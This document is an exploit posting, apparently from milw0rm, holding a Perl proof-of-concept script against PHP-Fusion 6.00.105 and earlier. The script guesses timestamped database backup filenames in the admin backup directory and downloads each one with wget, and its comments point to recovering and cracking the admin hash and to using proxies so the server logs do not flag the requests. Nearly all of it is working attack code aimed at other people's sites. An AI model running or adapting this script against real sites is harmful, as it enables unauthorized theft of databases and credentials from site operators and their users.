QUOTE

PHP-Fusion <= 6.00.105 Accessible Database Backups Download Exploit

CODE


#!/usr/bin/perl
######################################################
#  D A R K   A S S A S S I N S   C R E W   2 0 0 5   #
######################################################
# Dark Assassins - http://dark-assassins.com/        #
# Visit us on IRC @ irc.tddirc.net #DarkAssassins    #
######################################################
# phpfusiondb.pl; Version 0.1 22/06/05               #
# PHP-Fusion db backup proof-of-concept by Easyex    #
# Database backup vuln in v6.00.105 and below        #
######################################################
# Description: When a db (database) backup is made   #
# it is saved in /administration/db_backups/ on 6.0  #
# and on 5.0 it is saved in /fusion_admin/db_backups/#
# The backup file can be saved in 2 formats: .sql or #
# .sql.gz and is hidden by a blank index.php file but#
# can be downloaded client-side, The filename is for #
# example : backup_2005-06-22_2208.sql.gz so what we #
# can do is generate 0001 to 9999 and request the    #
# file and download it. If a db file is found an     #
# attacker can get the admin hash and crack  it or   #
# retrieve other sensitive information from the db!  #
######################################################

# 9999 requests to the host is alot, And would get noticed in the server log!
# If you re-coded your own script with proxy support you would be fine.
# You need to know the backup year-month-day to be able to find a backup file unless the server is set to automaticlly  
# backup the php-fusiondatabase.

my $wget='wget';

my $count='0';

my $target;

if (@ARGV < 4)
{
print "\n";
print "Welcome to the PHP-Fusion db backup vulnerability\n";
print "Coded by Easyex from the Dark Assassins crew\n";
print "\n";
print "Usage: phpfusiondb.pl <host> <version> <file> <extension>\n";
print "Example: phpfusiondb.pl example.com 6 backup_2005-06-23_ .sql.gz\n";
print "\n";
exit();
}

my $host = $ARGV[0];
my $ver = $ARGV[1];
my $file = $ARGV[2];
my $extension = $ARGV[3];

if ($ver eq "6") {
      $dir='/administration/db_backups/'; # Directory path to the 6.X backup folder
}

if ($ver eq "5") {
      $dir='/fusion_admin/db_backups/'; # Directory path to the 5.X backup folder
}

print "\n";
print "Welcome to the PHP-Fusion db backup vulnerability\n";
print "Coded by Easyex from the Dark Assassins crew\n";
print "\n";

print "Host: $host\n";
print "Directory: $dir\n";
print "File: $file + 0001 to 9999\n";
print "Extension: $extension\n";
print "\n";
print "Attempting to find a db backup file on $host\n";

for($count=0;$count<9999;$count++) {

   $target=$host.$dir.$file.sprintf("%04d", $count).$extension;

   system("$wget $target");
}





Source: http://www.milw0rm.com/id.php?id=1068